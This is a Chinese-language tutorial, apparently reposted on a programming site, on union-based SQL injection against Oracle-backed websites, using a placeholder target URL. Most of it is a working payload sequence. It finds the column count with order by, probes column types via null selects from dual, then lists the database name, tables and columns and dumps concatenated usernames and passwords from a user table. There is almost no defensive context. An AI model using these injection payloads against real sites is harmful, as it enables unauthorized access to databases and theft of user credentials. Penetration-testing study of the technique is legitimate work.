编程语言   发布时间:2022-06-27  发布网站:大佬教程  code.js-code.com
大佬教程收集整理的这篇文章主要介绍了基于Oracle网站的SQL注入大佬教程大佬觉得挺不错的,现在分享给大家,也给大家做个参考。

基于Oracle网站的SQL注入

链接1 参链接2

  • 使用 order by 语句查询列数
www.vuln-web.com/photo.php?id=1' order by 1--
Working
www.vuln-web.com/photo.php?id=1' order by 10-- 

www.vuln-web.com/photo.php?id=1' order by 7--
Working
www.vuln-web.com/photo.php?id=1' order by 9--
Working
  • 可以得知第9列是最后一列

  • Oracle不允许没有 from 子句的 SELEct 语句,有时候我们确实不知道当前的数据库表是哪个的话,OracLE提供了一个虚表dual,换句话说:在不知道当前的数据库表的情况下使用SELEct查询语句时,可以使用虚表dual。

    基于Oracle网站的SQL注入

  • 在真实的注入环境中一般是无法知道后台的数据库表的数据类型的,这时候就可以使用Null关键字挨个判断每个数据是字符还是数字类型。

    基于Oracle网站的SQL注入

www.vuln-web.com/photo.php?id=1' union SELEct null,null,null,null,null,null,null,null,null from dual--
Working fine
  • 然后把每个null替换成数字型或字符型进行测试

    基于Oracle网站的SQL注入

  • 使用是字符型的那一列,获取我们可以使用的数据库名称
www.vuln-web.com/photo.php?id=1' union SELEct null,ora.database_name,null,null,null,null,null,null,null from dual--

(从 dual 中选择 ora_database_name) (从 dual 中选择 sys.database_name) (从global_name 中选择 global_name )

  • 获取我们可以使用的表名: all_tables 中选择 table_name
www.vuln-web.com/photo.php?id=1' union SELEct null,table_name,null,null,null,null,null,null,null from all_tables--
  • 获取我们可以使用的特定表的列(在示例中我使用 user_table):从 all_tab_columns 中选择 column_name 其中 table_name='Your_Table_name_here'
  • 注意表名需要区分大小写

www.vuln-web.com/photo.php?id=1' union SELEct null,column_name,null,null,null,null,null,null,null from all_tab_columns where table_name='user_table'--
  • 从某些列中提取数据,我们可以使用以下查询和 || 作为连接运算符: 从 table_name_here 中选择用户名||密码
  • 但是得到的结果是用户名与密码连在一起的,建议还是分开查询

www.vuln-web.com/photo.php?id=1' union SELEct null,username||password,null,null,null,null,null,null,null from user_table--

大佬总结

以上是大佬教程为你收集整理的基于Oracle网站的SQL注入全部内容,希望文章能够帮你解决基于Oracle网站的SQL注入所遇到的程序开发问题。

如果觉得大佬教程网站内容还不错,欢迎将大佬教程推荐给程序员好友。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。